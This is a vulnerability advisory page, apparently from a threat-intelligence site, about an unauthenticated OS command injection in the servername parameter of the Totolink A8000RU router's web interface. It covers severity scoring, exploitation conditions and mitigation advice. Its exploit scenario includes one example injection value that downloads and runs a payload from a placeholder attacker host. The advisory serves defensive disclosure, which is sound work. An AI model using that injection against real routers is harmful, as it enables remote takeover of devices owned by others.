EUVD-2026-31670
GHSA-3h6x-px3r-wh95
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Primary rating from NVD · only source for this CVE.
CVSS VectorNVD
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Lifecycle Timeline
4DescriptionCVE.org
A flaw has been found in Totolink A8000RU 7.1cu.643_b20200521. This vulnerability affects the function setOpenVpnCertGenerationCfg of the file /cgi-bin/cstecgi.cgi of the component Web Management Interface. Executing a manipulation of the argument servername can lead to os command injection. The attack may be launched remotely. The exploit has been published and may be used.
AnalysisAI
OS command injection in the Totolink A8000RU router (firmware 7.1cu.643_b20200521) allows remote unauthenticated attackers to execute arbitrary commands via the servername parameter of the setOpenVpnCertGenerationCfg function in /cgi-bin/cstecgi.cgi. Publicly available exploit code exists (GitHub PoC), and although the EPSS score is modest (0.89%, 76th percentile), the CVSS 4.0 score of 8.9 reflects network-reachable, no-privilege, no-interaction exploitation with high confidentiality, integrity, and availability impact. …
Unlock full vulnerability intelligence
- Risk assessment & exploitation conditions
- Attack chain visualization
- Remediation with exact patch versions
- Threat intelligence from 22 sources
- Personal watchlist & email alerts
Free forever · No credit card required
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | Requires network reachability to TCP-accessible Web Management Interface of a Totolink A8000RU running firmware 7.1cu.643_b20200521, and the ability to reach the /cgi-bin/cstecgi.cgi endpoint with the setOpenVpnCertGenerationCfg action. … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | The CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H, E:P) describes a network-accessible, low-complexity, unauthenticated bug with proven exploit code - a worst-case profile for an internet-exposed device. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | An attacker with network reachability to the router's Web Management Interface sends a single crafted HTTP POST to /cgi-bin/cstecgi.cgi invoking setOpenVpnCertGenerationCfg with a servername value containing shell metacharacters (e.g. `; wget http://attacker/x -O /tmp/x; sh /tmp/x`). … |
| Remediation | No vendor-released patch identified at time of analysis - Totolink has not published a fixed firmware build for the A8000RU in the available references (https://www.totolink.net/, https://nvd.nist.gov/vuln/detail/CVE-2026-9454, https://vuldb.com/vuln/365435). … Detailed patch versions, workarounds, and compensating controls in full report. |
Recommended ActionAI
Within 24 hours: Identify all Totolik A8000RU routers in production (particularly firmware 7.1cu.643_b20200521) and immediately restrict network access to their administration interfaces using firewall rules-permit management access only from specific trusted internal IP ranges. …
Sign in for detailed remediation steps and compensating controls.
Threat intelligence, references, and detailed analysis are available after sign-in.
Share
External POC / Exploit Code
Leaving vuln.today